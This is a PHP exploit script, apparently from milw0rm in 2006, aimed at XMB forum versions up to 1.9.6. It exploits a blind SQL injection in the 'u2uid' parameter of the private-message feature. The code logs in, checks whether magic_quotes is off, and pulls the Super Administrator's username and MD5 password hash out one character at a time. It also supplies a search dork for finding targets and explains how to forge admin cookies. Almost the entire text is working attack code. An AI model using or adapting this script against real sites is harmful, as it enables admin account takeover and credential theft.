#!/usr/bin/php -q -d short_open_tag=on
<?
echo "XMB <= 1.9.6 'u2uid' SQL injection / admin credentials disclosure\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork: \"Powered by XMB\"\n\n";

/*
works with magic_quotes=off
Mysql >= 4.1 (allowing subs)
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path username password OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to XMB \n";
echo "user/pass: you need a valid user account\n";
echo "Options:\n";
echo "   -T[prefix]   specify a table prefix (default: xmb_)\r\n";
echo "   -d[delay]       \"   a delay between posts (there is an antiflood protection, default: 5)\r\n";
echo "   -p[port]:       \"   a port other than 80\n";
echo "   -P[ip:port]:    \"   a proxy\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /xmb/ user pass -d6\n";
echo "php ".$argv[0]." localhost /xmb/Files/ user pass -Txmb191_\n";
die;
}

/* software site: http://www.xmbforum.com/

   tested versions:
		   XMB 1.9.3 Final
		   XMB 1.9.4 Final
		   XMB 1.9.5 Final
                   XMB 1.9.6 Alpha

  download page: http://snaps.xmbforum.com/

  vulnerable code in u2u.inc.php near lines 176-219 (code taken from 1.9.5):

  ...
  function u2u_send($u2uid, $msgto, $subject, $message, $u2upreview) {
    global $db, $self, $lang, $username, $SETTINGS, $table_u2u, $del;
    global $u2uheader, $u2ufooter, $u2ucount, $u2uquota;
    global $altbg1, $altbg2, $bordercolor, $borderwidth, $tablespace, $cattext, $thewidth;
    global $forward, $reply;

    global $sendsubmit, $savesubmit, $previewsubmit;

    $username = checkInput($username, '', '', 'script', false);

    if ( $self['ban'] == 'u2u' || $self['ban'] == 'both' ) {
        error( $lang['textbanfromu2u'], false, $u2uheader, $u2ufooter, false, true, false, false );
    }

    if ( $u2ucount >= $u2uquota && $u2uquota > 0 ) {
        error( $lang['u2ureachedquota'], false, $u2uheader, $u2ufooter, false, true, false, false );
    }

    if (isset($savesubmit)) {
        if (empty($subject) || empty($message)) {
            error( $lang['u2uempty'], false, $u2uheader, $u2ufooter, false, true, false, false );
        }

        db_u2u_insert( '', '', 'draft', $self['username'], 'Drafts', $subject, $message, 'yes', 'no' );
        u2u_msg($lang['imsavedmsg'], "u2u.php?folder=Drafts");
    }

    if ( isset( $sendsubmit ) ) {
        $errors = '';
        if ( empty( $subject ) || empty( $message ) ) {
            error( $lang['u2uempty'], false, $u2uheader, $u2ufooter, false, true, false, false );
        }
		// floodcontrol!
		// $SETTINGS['floodctrl']
		if($db->result($db->query("SELECT count(u2uid) FROM $table_u2u WHERE msgfrom='$self[username]' AND dateline > ".(time()-$SETTINGS['floodctrl'])), 0) > 0) {
			error($lang['floodprotect_u2u'], false, $u2uheader, $u2ufooter, false, true, false, false );
		}

        $u2uid = $_POST['u2uid']; // [*]   <------------- this break the global protection

        if ( strstr( $msgto, "," ) && X_STAFF) {
            $errors = u2u_send_multi_recp($msgto, $subject, $message, $u2uid);
        } else {
            $errors = u2u_send_recp($msgto, $subject, $message, $u2uid);
        }
    ...

$u2uid argument is not properly sanitized before to be sent to the u2u_send_recp function:

...
function u2u_send_recp($msgto, $subject, $message, $u2uid=0) {
    global $db, $table_members, $self, $SETTINGS, $lang, $onlinetime, $bbname, $adminemail, $table_u2u, $del;

    $errors = '';

    $query = $db->query( "SELECT username, email, lastvisit, ignoreu2u, emailonu2u, status FROM $table_members WHERE username='" . trim( $msgto ) . "'" );
    if ( $rcpt = $db->fetch_array( $query ) ) {
        $ilist = array_map( 'trim', explode( ",", $rcpt['ignoreu2u'] ) );
        if ( !in_array( $self['username'], $ilist ) || X_ADMIN ) {
            $username = $rcpt['username'];
            db_u2u_insert( $username, $self['username'], 'incoming', $username, 'Inbox', $subject, $message, 'no', 'yes' );
            if ( $self['saveogu2u'] == 'yes' ) {
                db_u2u_insert( $username, $self['username'], 'outgoing', $self['username'], 'Outbox', $subject, $message, 'no', 'yes' );
            }
            //u2u to trash ;)
            if($del == "yes" && $u2uid > 0){
                   $db->query( "UPDATE $table_u2u SET folder='Trash' WHERE u2uid='$u2uid' AND owner='$self[username]'" ); // [**] affected query
            }
...

there is a global protection in xmb.php but [*[ totally break the rules, so,
with magic_quotes_gpc=off, we have sql injection in [**], affected query could become

UPDATE xmb_u2u SET folder='Trash' WHERE u2uid='9999999999' or (1=(SELECT(IF((ASCII(SUBSTRING(password,1,1))=48),1,0)) FROM xmb_members WHERE status='Super Administrator') AND owner='rgod'/*' AND owner='rgod'

because MySQL >= 4.1 allows SELECT subquery.

By sending yourself private messages, trashing them and resend you can
ask true/false questions to the database to extract admin username/password hash pair

you do not need to force the md5 hash, you can set a new cookie like this:

xmbuser=[admin user]; xmbpw=[md5 hash];

to act as admin
									      */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$proxy="";
$prefix="xmb_";
$delay="5";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-d")
{
  $delay=str_replace("-d","",$argv[$i]);
}
}

function my_encode($my_string)
{
  $encoded="CHAR(";
  for ($k=0; $k<=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=")";}
    else {$encoded.=",";}
  }
  return $encoded;
}

$data ="username=".$user;
$data.="&password=".$pass;
$data.="&profile_user_id=".$profile_user_id;
$data.="&hide=1";
$data.="&secure=yes";
$data.="&loginsubmit=Login";
$packet ="POST ".$path."misc.php?action=login HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
  $temp2=explode(" ",$temp[$i]);
  $temp3=explode("\r",$temp2[0]);
  if (!strstr($temp3[0],";")){$temp3[0]=$temp3[0].";";}
  $cookie.=" ".$temp3[0];
}
if (($cookie=='') | (!strstr($cookie,"xmbuser")) | (!strstr($cookie,"xmbpw"))){echo "Unable to login...";die;}
else {echo "cookie ->".$cookie."\r\n";}

//mqg check...
$sql="999999'";
echo "sql -> ".$sql."\r\n";
$sql=urlencode($sql);
$data ="u2uid=".$sql;
$data.="&msgto=".$user;
$data.="&subject=hello";
$data.="&message=hellohellohello";
$data.="&del=yes";
$data.="&sendsubmit=1";
$packet ="POST ".$path."u2u.php?action=send HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."u2u.php\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep($delay);
if (!strstr($html,"MySQL has encountered an unknown error"))
{
//debug
//echo $html;
die("magic_quotes_gpc On here...");
}
else
{
echo "mqg off, Ok, let's go...\n";}
$packet ="GET ".$path."u2u.php?action=emptytrash HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."u2u.php\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
sendpacketii($packet);

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;
$password="";
while (!strstr($password,chr(0)))
{
  for ($i=0; $i<=255; $i++)
  {
    if (in_array($i,$md5s))
      {
        $sql="999999'/**/or/**/(1=(SELECT(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),1,0))/**/FROM/**/".$prefix."members/**/WHERE/**/status=".my_encode("Super Administrator").") AND owner=".my_encode($user).")/*";
        echo "sql -> ".$sql."\r\n";
        $sql=urlencode($sql);
        $data ="u2uid=".$sql;
        $data.="&msgto=".$user; //send to yourself
        $data.="&subject=hello";
        $data.="&message=hellohellohello";
        $data.="&del=yes";
        $data.="&sendsubmit=1";
        $packet ="POST ".$path."u2u.php?action=send HTTP/1.0\r\n";
        $packet.="Referer: http://".$host.$path."u2u.php\r\n";
        $packet.="Host: ".$host."\r\n";
        $packet.="Connection: Close\r\n";
        $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
        $packet.="Cookie: ".$cookie."\r\n";
        $packet.="Content-Length: ".strlen($data)."\r\n\r\n";
        $packet.=$data;
        sendpacketii($packet);
        sleep($delay);//ah we have an antiflood protection, so wait 5 seconds
        $packet ="GET ".$path."u2u.php?folder=Trash HTTP/1.0\r\n";
        $packet.="Referer: http://".$host.$path."u2u.php\r\n";
        $packet.="Host: ".$host."\r\n";
        $packet.="Connection: Close\r\n";
        $packet.="Cookie: ".$cookie."\r\n\r\n";
        sendpacketii($packet);
        if (strstr($html,"u2uid="))
	{ $password.=chr($i);
	  echo "password -> ".$password."[???]\r\n";
          $packet ="GET ".$path."u2u.php?action=emptytrash HTTP/1.0\r\n";
          $packet.="Referer: http://".$host.$path."u2u.php\r\n";
          $packet.="Host: ".$host."\r\n";
          $packet.="Connection: Close\r\n";
          $packet.="Cookie: ".$cookie."\r\n\r\n";
          sendpacketii($packet);
	  sleep(2);
	  break;
	}

      }
    if ($i==255) {die("Exploit failed...");}
    }
  $j++;
}
$packet ="GET ".$path."u2u.php?action=emptytrash HTTP/1.0\r\n";
$packet.="Referer: http://".$host.$path."u2u.php\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
sendpacketii($packet);

$unused = array('<', '>', '|', '"', '[', ']', '\\', ',', '@', '\'', ' ');
$j=1;
$admin="";
while (!strstr($admin,chr(0)))
{
  for ($i=0; $i<=255; $i++)
  {
    if (!in_array(chr($i),$unused))
    {
        $sql="999999'/**/or/**/(1=(SELECT(IF((ASCII(SUBSTRING(username,".$j.",1))=".$i."),1,0))/**/FROM/**/".$prefix."members/**/WHERE/**/status=".my_encode("Super Administrator").") AND owner=".my_encode($user).")/*";
        echo "sql -> ".$sql."\r\n";
        $sql=urlencode($sql);
        $data ="u2uid=".$sql;
        $data.="&msgto=".$user; //send to yourself
        $data.="&subject=hello";
        $data.="&message=hellohellohello";
        $data.="&del=yes";
        $data.="&sendsubmit=1";
        $packet ="POST ".$path."u2u.php?action=send HTTP/1.0\r\n";
        $packet.="Referer: http://".$host.$path."u2u.php\r\n";
        $packet.="Host: ".$host."\r\n";
        $packet.="Connection: Close\r\n";
        $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
        $packet.="Cookie: ".$cookie."\r\n";
        $packet.="Content-Length: ".strlen($data)."\r\n\r\n";
        $packet.=$data;
        sendpacketii($packet);
        sleep($delay);//ah we have an antiflood protection, so wait 5 seconds
        $packet ="GET ".$path."u2u.php?folder=Trash HTTP/1.0\r\n";
        $packet.="Referer: http://".$host.$path."u2u.php\r\n";
        $packet.="Host: ".$host."\r\n";
        $packet.="Connection: Close\r\n";
        $packet.="Cookie: ".$cookie."\r\n\r\n";
        sendpacketii($packet);
        if (strstr($html,"u2uid="))
	{ $admin.=chr($i);
	  echo "admin -> ".$admin."[???]\r\n";
          $packet ="GET ".$path."u2u.php?action=emptytrash HTTP/1.0\r\n";
          $packet.="Referer: http://".$host.$path."u2u.php\r\n";
          $packet.="Host: ".$host."\r\n";
          $packet.="Connection: Close\r\n";
          $packet.="Cookie: ".$cookie."\r\n\r\n";
          sendpacketii($packet);
	  sleep(2);
	  break;
	}
   }
   if ($i==255) {die("Exploit failed...");}
  }
$j++;
}

echo "--------------------------------------------------------------------\r\n";
echo "admin          -> ".$admin."\r\n";
echo "password (md5) -> ".$password."\r\n";
echo "--------------------------------------------------------------------\r\n";

function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}

?>

# milw0rm.com [2006-08-01]
